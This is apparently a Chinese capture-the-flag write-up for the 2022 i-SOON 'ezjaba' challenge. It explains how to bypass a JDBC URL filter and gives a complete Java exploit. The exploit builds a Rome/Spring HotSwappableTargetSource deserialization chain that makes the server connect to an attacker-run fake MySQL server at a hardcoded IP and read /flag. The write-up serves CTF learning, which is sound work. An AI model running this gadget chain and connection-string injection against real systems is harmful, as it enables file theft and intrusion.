目录

前言

简单分析

step0

step1 确定攻击点

step2 利用链构造

EXP


前言

复现环境:GitHub - D0g3-Lab/i-SOON_CTF_2022: 2022 第五届安洵杯 题目环境/源码

Docker记得换镜像源,之前那个好像没有了(

这题考的是Rome打JDBC attack(Mysql任意文件读取)

参考文章:从BlackHat来看JDBC Attack - FreeBuf网络安全行业门户

简单分析

step0

反序列化入口在/read路由下,有一段这样的处理

  • String name = objectInputStream.readUTF();:从输入流中读取一个UTF-8编码的字符串赋值给变量name。

  • int year = objectInputStream.readInt();:从输入流中读取一个整数赋值给变量year。

我们需要在序列化时对应加上对应内容,以过掉if判断,最后走到readObject

  • objectOutputStream.writeUTF("axb");:使用 writeUTF 方法将字符串 "axb" 写入 ObjectOutputStream 中,该方法会将字符串以特定格式写入流中。

  • objectOutputStream.writeInt(2022);:使用 writeInt 方法将整数 2022 写入 ObjectOutputStream 中,以二进制形式写入流中。

step1 确定攻击点

先扫一眼pom依赖

有spring,rome和mysql&pgsql🤔

若JDBC连接的URL被攻击者控制,就可以让其指向恶意的MySQL服务器,完成JDBC attack

我们来看Database#getConnection

getConnection通过拼接生成了一个JDBC连接串,之后将这个url传入了JdbcUtils.filterJdbcUrl方法中进行过滤

限制了必须连接mysql,并ban掉了autoDeserialize和allowLoadLocalInfile属性

  1. autoDeserialize:当该属性设置为 True 时,表示MySQL将自动反序列化从Python发送到MySQL服务器的数据。这在某些情况下可能很有用,例如在使用ORM(对象关系映射)框架时。

  2. allowLoadLocalInfile:当该属性设置为 True 时,表示允许从本地文件加载数据到MySQL服务器中。这个选项默认是禁用的,因为允许从本地文件加载数据可能会有安全风险,可以被滥用来进行恶意操作。

反序列化是走不通了,但不代表不能任意文件读取,像下面这篇文章的Mysql 任意文件读取姿势就不需要开启allowLoadLocalInfile也能打通

从BlackHat来看JDBC Attack - FreeBuf网络安全行业门户

那我们最后的目的就是要走到Database#getConnection,完成JDBC attack

step2 利用链构造

结合Rome依赖,不难想到可以利用toStringBean#toString来调getter,最后走到Database#getConnection

看一下ban了哪些

主要关注toString触发点,ban了CC5的BadAttributeValueExpException还有EqualsBean

考虑到Spring依赖,自然就会想到HotSwappableTargetSource利用链

HashMap.readObject->HashMap.putVal->HotSwappableTargetSource.equals->XString.equals->ToStringBean.toString->Database.getConnection

过于简单,不作赘述

参考文章:【Web】浅聊Java反序列化之Rome——关于其他利用链-CSDN博客

EXP

package com.example.ezjaba.exp;

import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class EXP {
    public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }
    //反射设置属性值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static void main(String[] args) {
        try {
            Database database = new Database();
            database.setDatabase("mysql");
            database.setHots("124.222.136.33");
            database.setUsername("fileread_file:///flag&maxAllowedPacket=655360");
            database.setPassword("root");

            ToStringBean toStringBean = new ToStringBean(Database.class, database);

            //反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals
            HotSwappableTargetSource v1 = new HotSwappableTargetSource(toStringBean);
            HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));

            HashMap<Object, Object> s = new HashMap<>();
            setFieldValue(s, "size", 2);
            Class<?> nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);

            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setFieldValue(s, "table", tbl);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeUTF("axb");
            objectOutputStream.writeInt(2022);
            objectOutputStream.writeObject(s);

            byte[] bytes = byteArrayOutputStream.toByteArray();
            String s1 = Base64.getEncoder().encodeToString(bytes);
            System.out.println(s1);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

因为DataBase的端口写死了是5432,所以我们要改一下MySQL_Fake_Server的端口(3306=>5432)

 

url编码一次后提交

 

成功读到文件

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐